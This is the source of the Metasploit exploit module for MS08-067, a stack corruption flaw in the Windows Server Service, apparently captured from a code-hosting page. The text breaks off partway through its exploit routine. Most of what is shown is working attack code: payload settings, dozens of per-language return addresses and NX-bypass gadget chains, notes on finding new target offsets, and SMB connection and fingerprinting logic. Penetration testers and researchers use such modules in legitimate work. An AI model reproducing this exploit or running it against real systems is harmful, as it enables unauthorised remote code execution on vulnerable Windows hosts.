Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms08_067_netapi.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS08-067 Microsoft Server Service Relative Path Stack Corruption',14'Description' => %q{15This module exploits a parsing flaw in the path canonicalization code of16NetAPI32.dll through the Server Service. This module is capable of bypassing17NX on some operating systems and service packs. The correct target must be18used to prevent the Server Service (along with a dozen others in the same19process) from crashing. Windows XP targets seem to handle multiple successful20exploitation events, but 2003 targets will often crash or hang on subsequent21attempts. This is just the first version of this module, full support for22NX bypass on 2003, along with other platforms, is still in development.23},24'Author' =>25[26'hdm', # with tons of input/help/testing from the community27'Brett Moore <brett.moore[at]insomniasec.com>',28'frank2 <frank2[at]dc949.org>', # check() detection29'jduck', # XP SP2/SP3 AlwaysOn DEP bypass30],31'License' => MSF_LICENSE,32'References' =>33[34%w(CVE 2008-4250),35%w(OSVDB 49243),36%w(MSB MS08-067),37# If this vulnerability is found, ms08-67 is exposed as well38['URL', 'https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/']39],40'DefaultOptions' =>41{42'EXITFUNC' => 'thread',43},44'Privileged' => true,45'Payload' =>46{47'Space' => 408,48'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",49'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment50'StackAdjustment' => -3500,5152},53'Platform' => 'win',54'DefaultTarget' => 0,55'Targets' =>56[57#58# Automatic targetting via fingerprinting59#60['Automatic Targeting', { 'auto' => true }],6162#63# UNIVERSAL TARGETS64#6566#67# Antoine's universal for Windows 200068# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET69#70['Windows 2000 Universal',71{72'Ret' => 0x001f1cb0,73'Scratch' => 0x00020408,74}75], # JMP EDI SVCHOST.EXE7677#78# Standard return-to-ESI without NX bypass79# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET80#81['Windows XP SP0/SP1 Universal',82{83'Ret' => 0x01001361,84'Scratch' => 0x00020408,85}86], # JMP ESI SVCHOST.EXE8788# Standard return-to-ESI without NX bypass89['Windows 2003 SP0 Universal',90{91'Ret' => 0x0100129e,92'Scratch' => 0x00020408,93}94], # JMP ESI SVCHOST.EXE9596#97# ENGLISH TARGETS98#99100# jduck's AlwaysOn NX Bypass for XP SP2101['Windows XP SP2 English (AlwaysOn NX)',102{103# No pivot is needed, we drop into our rop104'Scratch' => 0x00020408,105'UseROP' => '5.1.2600.2180'106}107],108109# Metasploit's NX bypass for XP SP2/SP3110['Windows XP SP2 English (NX)',111{112'Ret' => 0x6f88f727,113'DisableNX' => 0x6f8916e2,114'Scratch' => 0x00020408115}116], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL117118# jduck's AlwaysOn NX Bypass for XP SP3119['Windows XP SP3 English (AlwaysOn NX)',120{121# No pivot is needed, we drop into our rop122'Scratch' => 0x00020408,123'UseROP' => '5.1.2600.5512'124}125],126127# Metasploit's NX bypass for XP SP2/SP3128['Windows XP SP3 English (NX)',129{130'Ret' => 0x6f88f807,131'DisableNX' => 0x6f8917c2,132'Scratch' => 0x00020408133}134], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL135136#137# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED138#139140# Metasploit's NX bypass for XP SP2/SP3141['Windows XP SP2 Arabic (NX)',142{143'Ret' => 0x6fd8f727,144'DisableNX' => 0x6fd916e2,145'Scratch' => 0x00020408146}147], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL148149# Metasploit's NX bypass for XP SP2/SP3150['Windows XP SP2 Chinese - Traditional / Taiwan (NX)',151{152'Ret' => 0x5860f727,153'DisableNX' => 0x586116e2,154'Scratch' => 0x00020408155}156], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL157158# Metasploit's NX bypass for XP SP2/SP3159['Windows XP SP2 Chinese - Simplified (NX)',160{161'Ret' => 0x58fbf727,162'DisableNX' => 0x58fc16e2,163'Scratch' => 0x00020408164}165], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL166167# Metasploit's NX bypass for XP SP2/SP3168['Windows XP SP2 Chinese - Traditional (NX)',169{170'Ret' => 0x5860f727,171'DisableNX' => 0x586116e2,172'Scratch' => 0x00020408173}174], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL175176# Metasploit's NX bypass for XP SP2/SP3177['Windows XP SP2 Czech (NX)',178{179'Ret' => 0x6fe1f727,180'DisableNX' => 0x6fe216e2,181'Scratch' => 0x00020408182}183], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL184185# Metasploit's NX bypass for XP SP2/SP3186['Windows XP SP2 Danish (NX)',187{188'Ret' => 0x5978f727,189'DisableNX' => 0x597916e2,190'Scratch' => 0x00020408191}192], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL193194# Metasploit's NX bypass for XP SP2/SP3195['Windows XP SP2 German (NX)',196{197'Ret' => 0x6fd9f727,198'DisableNX' => 0x6fda16e2,199'Scratch' => 0x00020408200}201], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL202203# Metasploit's NX bypass for XP SP2/SP3204['Windows XP SP2 Greek (NX)',205{206'Ret' => 0x592af727,207'DisableNX' => 0x592b16e2,208'Scratch' => 0x00020408209}210], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL211212# Metasploit's NX bypass for XP SP2/SP3213['Windows XP SP2 Spanish (NX)',214{215'Ret' => 0x6fdbf727,216'DisableNX' => 0x6fdc16e2,217'Scratch' => 0x00020408218}219], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL220221# Metasploit's NX bypass for XP SP2/SP3222['Windows XP SP2 Finnish (NX)',223{224'Ret' => 0x597df727,225'DisableNX' => 0x597e16e2,226'Scratch' => 0x00020408227}228], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL229230# Metasploit's NX bypass for XP SP2/SP3231['Windows XP SP2 French (NX)',232{233'Ret' => 0x595bf727,234'DisableNX' => 0x595c16e2,235'Scratch' => 0x00020408236}237], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL238239# Metasploit's NX bypass for XP SP2/SP3240['Windows XP SP2 Hebrew (NX)',241{242'Ret' => 0x5940f727,243'DisableNX' => 0x594116e2,244'Scratch' => 0x00020408245}246], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL247248# Metasploit's NX bypass for XP SP2/SP3249['Windows XP SP2 Hungarian (NX)',250{251'Ret' => 0x5970f727,252'DisableNX' => 0x597116e2,253'Scratch' => 0x00020408254}255], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL256257# Metasploit's NX bypass for XP SP2/SP3258['Windows XP SP2 Italian (NX)',259{260'Ret' => 0x596bf727,261'DisableNX' => 0x596c16e2,262'Scratch' => 0x00020408263}264], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL265266# Metasploit's NX bypass for XP SP2/SP3267['Windows XP SP2 Japanese (NX)',268{269'Ret' => 0x567fd3be,270'DisableNX' => 0x568016e2,271'Scratch' => 0x00020408272}273], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL274275# Metasploit's NX bypass for XP SP2/SP3276['Windows XP SP2 Korean (NX)',277{278'Ret' => 0x6fd6f727,279'DisableNX' => 0x6fd716e2,280'Scratch' => 0x00020408281}282], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL283284# Metasploit's NX bypass for XP SP2/SP3285['Windows XP SP2 Dutch (NX)',286{287'Ret' => 0x596cf727,288'DisableNX' => 0x596d16e2,289'Scratch' => 0x00020408290}291], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL292293# Metasploit's NX bypass for XP SP2/SP3294['Windows XP SP2 Norwegian (NX)',295{296'Ret' => 0x597cf727,297'DisableNX' => 0x597d16e2,298'Scratch' => 0x00020408299}300], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL301302# Metasploit's NX bypass for XP SP2/SP3303['Windows XP SP2 Polish (NX)',304{305'Ret' => 0x5941f727,306'DisableNX' => 0x594216e2,307'Scratch' => 0x00020408308}309], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL310311# Metasploit's NX bypass for XP SP2/SP3312['Windows XP SP2 Portuguese - Brazilian (NX)',313{314'Ret' => 0x596ff727,315'DisableNX' => 0x597016e2,316'Scratch' => 0x00020408317}318], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL319320# Metasploit's NX bypass for XP SP2/SP3321['Windows XP SP2 Portuguese (NX)',322{323'Ret' => 0x596bf727,324'DisableNX' => 0x596c16e2,325'Scratch' => 0x00020408326}327], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL328329# Metasploit's NX bypass for XP SP2/SP3330['Windows XP SP2 Russian (NX)',331{332'Ret' => 0x6fe1f727,333'DisableNX' => 0x6fe216e2,334'Scratch' => 0x00020408335}336], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL337338# Metasploit's NX bypass for XP SP2/SP3339['Windows XP SP2 Swedish (NX)',340{341'Ret' => 0x597af727,342'DisableNX' => 0x597b16e2,343'Scratch' => 0x00020408344}345], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL346347# Metasploit's NX bypass for XP SP2/SP3348['Windows XP SP2 Turkish (NX)',349{350'Ret' => 0x5a78f727,351'DisableNX' => 0x5a7916e2,352'Scratch' => 0x00020408353}354], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL355356# Metasploit's NX bypass for XP SP2/SP3357['Windows XP SP3 Arabic (NX)',358{359'Ret' => 0x6fd8f807,360'DisableNX' => 0x6fd917c2,361'Scratch' => 0x00020408362}363], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL364365# Metasploit's NX bypass for XP SP2/SP3366['Windows XP SP3 Chinese - Traditional / Taiwan (NX)',367{368'Ret' => 0x5860f807,369'DisableNX' => 0x586117c2,370'Scratch' => 0x00020408371}372], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL373374# Metasploit's NX bypass for XP SP2/SP3375['Windows XP SP3 Chinese - Simplified (NX)',376{377'Ret' => 0x58fbf807,378'DisableNX' => 0x58fc17c2,379'Scratch' => 0x00020408380}381], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL382383# Metasploit's NX bypass for XP SP2/SP3384['Windows XP SP3 Chinese - Traditional (NX)',385{386'Ret' => 0x5860f807,387'DisableNX' => 0x586117c2,388'Scratch' => 0x00020408389}390], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL391392# Metasploit's NX bypass for XP SP2/SP3393['Windows XP SP3 Czech (NX)',394{395'Ret' => 0x6fe1f807,396'DisableNX' => 0x6fe217c2,397'Scratch' => 0x00020408398}399], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL400401# Metasploit's NX bypass for XP SP2/SP3402['Windows XP SP3 Danish (NX)',403{404'Ret' => 0x5978f807,405'DisableNX' => 0x597917c2,406'Scratch' => 0x00020408407}408], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL409410# Metasploit's NX bypass for XP SP2/SP3411['Windows XP SP3 German (NX)',412{413'Ret' => 0x6fd9f807,414'DisableNX' => 0x6fda17c2,415'Scratch' => 0x00020408416}417], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL418419# Metasploit's NX bypass for XP SP2/SP3420['Windows XP SP3 Greek (NX)',421{422'Ret' => 0x592af807,423'DisableNX' => 0x592b17c2,424'Scratch' => 0x00020408425}426], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL427428# Metasploit's NX bypass for XP SP2/SP3429['Windows XP SP3 Spanish (NX)',430{431'Ret' => 0x6fdbf807,432'DisableNX' => 0x6fdc17c2,433'Scratch' => 0x00020408434}435], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL436437# Metasploit's NX bypass for XP SP2/SP3438['Windows XP SP3 Finnish (NX)',439{440'Ret' => 0x597df807,441'DisableNX' => 0x597e17c2,442'Scratch' => 0x00020408443}444], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL445446# Metasploit's NX bypass for XP SP2/SP3447['Windows XP SP3 French (NX)',448{449'Ret' => 0x595bf807,450'DisableNX' => 0x595c17c2,451'Scratch' => 0x00020408452}453], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL454455# Metasploit's NX bypass for XP SP2/SP3456['Windows XP SP3 Hebrew (NX)',457{458'Ret' => 0x5940f807,459'DisableNX' => 0x594117c2,460'Scratch' => 0x00020408461}462], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL463464# Metasploit's NX bypass for XP SP2/SP3465['Windows XP SP3 Hungarian (NX)',466{467'Ret' => 0x5970f807,468'DisableNX' => 0x597117c2,469'Scratch' => 0x00020408470}471], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL472473# Metasploit's NX bypass for XP SP2/SP3474['Windows XP SP3 Italian (NX)',475{476'Ret' => 0x596bf807,477'DisableNX' => 0x596c17c2,478'Scratch' => 0x00020408479}480], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL481482# Metasploit's NX bypass for XP SP2/SP3483['Windows XP SP3 Japanese (NX)',484{485'Ret' => 0x567fd4d2,486'DisableNX' => 0x568017c2,487'Scratch' => 0x00020408488}489], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL490491# Metasploit's NX bypass for XP SP2/SP3492['Windows XP SP3 Korean (NX)',493{494'Ret' => 0x6fd6f807,495'DisableNX' => 0x6fd717c2,496'Scratch' => 0x00020408497}498], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL499500# Metasploit's NX bypass for XP SP2/SP3501['Windows XP SP3 Dutch (NX)',502{503'Ret' => 0x596cf807,504'DisableNX' => 0x596d17c2,505'Scratch' => 0x00020408506}507], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL508509# Metasploit's NX bypass for XP SP2/SP3510['Windows XP SP3 Norwegian (NX)',511{512'Ret' => 0x597cf807,513'DisableNX' => 0x597d17c2,514'Scratch' => 0x00020408515}516], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL517518# Metasploit's NX bypass for XP SP2/SP3519['Windows XP SP3 Polish (NX)',520{521'Ret' => 0x5941f807,522'DisableNX' => 0x594217c2,523'Scratch' => 0x00020408524}525], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL526527# Metasploit's NX bypass for XP SP2/SP3528['Windows XP SP3 Portuguese - Brazilian (NX)',529{530'Ret' => 0x596ff807,531'DisableNX' => 0x597017c2,532'Scratch' => 0x00020408533}534], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL535536# Metasploit's NX bypass for XP SP2/SP3537['Windows XP SP3 Portuguese (NX)',538{539'Ret' => 0x596bf807,540'DisableNX' => 0x596c17c2,541'Scratch' => 0x00020408542}543], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL544545# Metasploit's NX bypass for XP SP2/SP3546['Windows XP SP3 Russian (NX)',547{548'Ret' => 0x6fe1f807,549'DisableNX' => 0x6fe217c2,550'Scratch' => 0x00020408551}552], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL553554# Metasploit's NX bypass for XP SP2/SP3555['Windows XP SP3 Swedish (NX)',556{557'Ret' => 0x597af807,558'DisableNX' => 0x597b17c2,559'Scratch' => 0x00020408560}561], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL562563# Metasploit's NX bypass for XP SP2/SP3564['Windows XP SP3 Turkish (NX)',565{566'Ret' => 0x5a78f807,567'DisableNX' => 0x5a7917c2,568'Scratch' => 0x00020408569}570], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL571572#573# Windows 2003 Targets574#575576# Standard return-to-ESI without NX bypass577['Windows 2003 SP1 English (NO NX)',578{579'Ret' => 0x71bf21a2,580'Scratch' => 0x00020408,581}582], # JMP ESI WS2HELP.DLL583584# Brett Moore's crafty NX bypass for 2003 SP1585['Windows 2003 SP1 English (NX)',586{587'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL588'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL589'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL590'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL591'Scratch' => 0x00020408,592}593],594595# Standard return-to-ESI without NX bypass596['Windows 2003 SP1 Japanese (NO NX)',597{598'Ret' => 0x71a921a2,599'Scratch' => 0x00020408,600}601], # JMP ESI WS2HELP.DLL602603# Standard return-to-ESI without NX bypass604['Windows 2003 SP1 Spanish (NO NX)',605{606'Ret' => 0x71ac21a2,607'Scratch' => 0x00020408,608}609], # JMP ESI WS2HELP.DLL610611# Brett Moore's crafty NX bypass for 2003 SP1612['Windows 2003 SP1 Spanish (NX)',613{614'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL615'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL616'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL617'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL618'Scratch' => 0x00020408,619}620],621# Standard return-to-ESI without NX bypass622# Added by Omar MEZRAG - 0xFFFFFF623[ 'Windows 2003 SP1 French (NO NX)',624{625'Ret' => 0x71ac1c40 ,626'Scratch' => 0x00020408627}628], # JMP ESI WS2HELP.DLL629630# Brett Moore's crafty NX bypass for 2003 SP1631# Added by Omar MEZRAG - 0xFFFFFF632[ 'Windows 2003 SP1 French (NX)',633{634'RetDec' => 0x7CA2568C, # dec ESI, ret @SHELL32.DLL635'RetPop' => 0x7CB47CF4, # push ESI, pop EBP, ret 4 @SHELL32.DLL636'JmpESP' => 0x7C98FED3, # jmp ESP @NTDLL.DLL637'DisableNX' => 0x7C95E413, # NX disable @NTDLL.DLL638'Scratch' => 0x00020408639}640],641642# Standard return-to-ESI without NX bypass643['Windows 2003 SP2 English (NO NX)',644{645'Ret' => 0x71bf3969,646'Scratch' => 0x00020408,647}648], # JMP ESI WS2HELP.DLL649650# Brett Moore's crafty NX bypass for 2003 SP2651['Windows 2003 SP2 English (NX)',652{653'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL654'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL655'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL656'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL657'Scratch' => 0x00020408,658}659],660661# Standard return-to-ESI without NX bypass662['Windows 2003 SP2 German (NO NX)',663{664'Ret' => 0x71a03969,665'Scratch' => 0x00020408,666}667], # JMP ESI WS2HELP.DLL668669# Brett Moore's crafty NX bypass for 2003 SP2670['Windows 2003 SP2 German (NX)',671{672'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL673'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL674'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL675'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL676'Scratch' => 0x00020408,677}678],679680# Brett Moore's crafty NX bypass for 2003 SP2681[ 'Windows 2003 SP2 Portuguese (NX)',682{683'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL OK684'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL OK685'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL OK686'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL687'Scratch' => 0x00020408,688}689],690691# Brett Moore's crafty NX bypass for 2003 SP2 (target by Anderson Bargas)692[ 'Windows 2003 SP2 Portuguese - Brazilian (NX)',693{694'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL OK695'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL OK696'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL OK697'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL698'Scratch' => 0x00020408,699}700],701702# Standard return-to-ESI without NX bypass703['Windows 2003 SP2 Spanish (NO NX)',704{705'Ret' => 0x71ac3969,706'Scratch' => 0x00020408,707}708], # JMP ESI WS2HELP.DLL709710# Brett Moore's crafty NX bypass for 2003 SP2711['Windows 2003 SP2 Spanish (NX)',712{713'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL714'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL715'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL716'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL717'Scratch' => 0x00020408,718}719],720721# Standard return-to-ESI without NX bypass722# Provided by Masashi Fujiwara723['Windows 2003 SP2 Japanese (NO NX)',724{725'Ret' => 0x71a91ed2,726'Scratch' => 0x00020408727}728], # JMP ESI WS2HELP.DLL729730# Standard return-to-ESI without NX bypass731# Added by Omar MEZRAG - 0xFFFFFF732[ 'Windows 2003 SP2 French (NO NX)',733{734'Ret' => 0x71AC2069,735'Scratch' => 0x00020408736}737], # CALL ESI WS2HELP.DLL738739# Brett Moore's crafty NX bypass for 2003 SP2740# Added by Omar MEZRAG - 0xFFFFFF741[ 'Windows 2003 SP2 French (NX)',742{743'RetDec' => 0x7C98BEB8, # dec ESI, ret @NTDLL.DLL744'RetPop' => 0x7CB3E84E, # push ESI, pop EBP, ret @SHELL32.DLL745'JmpESP' => 0x7C98A01B, # jmp ESP @NTDLL.DLL746'DisableNX' => 0x7C95F517, # NX disable @NTDLL.DLL747'Scratch' => 0x00020408748}749],750751# Brett Moore's crafty NX bypass for 2003 SP2752[ 'Windows 2003 SP2 Chinese - Simplified (NX)',753{754'RetDec' => 0x7c99beb8, # dec ESI, ret @NTDLL.DLL755'RetPop' => 0x7cb5e84e, # push ESI, pop EBP, ret @SHELL32.DLL756'JmpESP' => 0x7c99a01b, # jmp ESP @NTDLL.DLL757'DisableNX' => 0x7c96f517, # NX disable @NTDLL.DLL758'Scratch' => 0x00020408,759}760],761762# Brett Moore's crafty NX bypass for 2003 SP2763[ 'Windows 2003 SP2 Czech (NX)',764{765'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL766'RetPop' => 0x7cb1e84e, # push ESI, pop EBP, ret @SHELL32.DLL767'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL768'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL769'Scratch' => 0x00020408,770}771],772773# Brett Moore's crafty NX bypass for 2003 SP2774[ 'Windows 2003 SP2 Dutch (NX)',775{776'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL777'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL778'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL779'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL780'Scratch' => 0x00020408,781}782],783784# Brett Moore's crafty NX bypass for 2003 SP2785[ 'Windows 2003 SP2 Hungarian (NX)',786{787'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL788'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL789'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL790'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL791'Scratch' => 0x00020408,792}793],794795# Brett Moore's crafty NX bypass for 2003 SP2796[ 'Windows 2003 SP2 Italian (NX)',797{798'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL799'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL800'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL801'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL802'Scratch' => 0x00020408,803}804],805806# Brett Moore's crafty NX bypass for 2003 SP2807[ 'Windows 2003 SP2 Russian (NX)',808{809'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL810'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL811'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL812'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL813'Scratch' => 0x00020408,814}815],816817# Brett Moore's crafty NX bypass for 2003 SP2818[ 'Windows 2003 SP2 Swedish (NX)',819{820'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL821'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL822'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL823'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL824'Scratch' => 0x00020408,825}826],827828# Brett Moore's crafty NX bypass for 2003 SP2829[ 'Windows 2003 SP2 Turkish (NX)',830{831'RetDec' => 0x7c96beb8, # dec ESI, ret @NTDLL.DLL832'RetPop' => 0x7cb1e84e, # push ESI, pop EBP, ret @SHELL32.DLL833'JmpESP' => 0x7c96a01b, # jmp ESP @NTDLL.DLL834'DisableNX' => 0x7c93f517, # NX disable @NTDLL.DLL835'Scratch' => 0x00020408,836}837],838839#840# Missing Targets841# Key: T=TODO ?=UNKNOWN U=UNRELIABLE842#843# [?] Windows Vista SP0 - Not tested yet844# [?] Windows Vista SP1 - Not tested yet845#846],847848'DisclosureDate' => '2008-10-28'))849850register_options(851[852OptString.new('SMBPIPE', [true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']),853])854855deregister_options('SMB::ProtocolVersion')856end857858#859#860# *** WINDOWS XP SP2/SP3 TARGETS ***861#862#863# This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX864# for the process and then returns back to a call ESI instruction. These addresses are different865# between operating systems, service packs, and language packs, but the steps below can be used to866# add new targets.867#868#869# If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and870# DisableNX elements of the target hash.871#872# If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system.873# First obtain the value for the Ret element of the hash with the following command:874#875# $ msfpescan -j esi acgenral.dll876#877# Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e.878#879# Next, find the location of the function we use to disable NX. Use the following command:880#881# $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll882#883# This address should be placed into the DisableNX element of the target hash.884#885# The Scratch element of 0x00020408 should work on all versions of Windows886#887# The actual function we use to disable NX looks like this:888#889# push 4890# lea eax, [ebp+arg_0]891# push eax892# push 22h893# push 0FFFFFFFFh894# mov [ebp+arg_0], 2895# call ds:__imp__NtSetInformationProcess@16896#897#898# *** WINDOWS XP NON-NX TARGETS ***899#900#901# Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short902# jump, and finally the shellcode.903#904#905# *** WINDOWS 2003 SP2 TARGETS ***906#907#908# There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2,909# both of these are inside NTDLL.DLL and use a return method that is not directly compatible910# with our call stack. To solve this, Brett Moore figured out a multi-step return call chain911# that eventually leads to the NX bypass function.912#913#914# *** WINDOWS 2000 TARGETS ***915#916#917# No NX to bypass, just return directly to a "JMP EDX", which takes us to the short918# jump, and finally the shellcode.919#920#921# *** WINDOWS VISTA TARGETS ***922#923# Currently untested, will involve ASLR and NX, should be fun.924#925#926# *** NetprPathCanonicalize IDL ***927#928#929# NET_API_STATUS NetprPathCanonicalize(930# [in, string, unique] SRVSVC_HANDLE ServerName,931# [in, string] WCHAR* PathName,932# [out, size_is(OutbufLen)] unsigned char* Outbuf,933# [in, range(0,64000)] DWORD OutbufLen,934# [in, string] WCHAR* Prefix,935# [in, out] DWORD* PathType,936# [in] DWORD Flags937# );938#939940def exploit941begin942connect(versions: [1])943smb_login944rescue Rex::Proto::SMB::Exceptions::LoginError => e945if e.message =~ /Connection reset/946print_error('Connection reset during login')947print_error('This most likely means a previous exploit attempt caused the service to crash')948return949else950raise e951end952end953954# Use a copy of the target955mytarget = target956957if target['auto']958959mytarget = nil960961print_status('Automatically detecting the target...')962fprint = smb_fingerprint963964print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}")965966# Bail early on unknown OS967if (fprint['os'] == 'Unknown')968fail_with(Failure::NoTarget, 'No matching target')969end970971# Windows 2000 is mostly universal972if (fprint['os'] == 'Windows 2000')973mytarget = targets[1]974end975976# Windows XP SP0/SP1 is mostly universal977if fprint['os'] == 'Windows XP' and fprint['sp'] == 'Service Pack 0 / 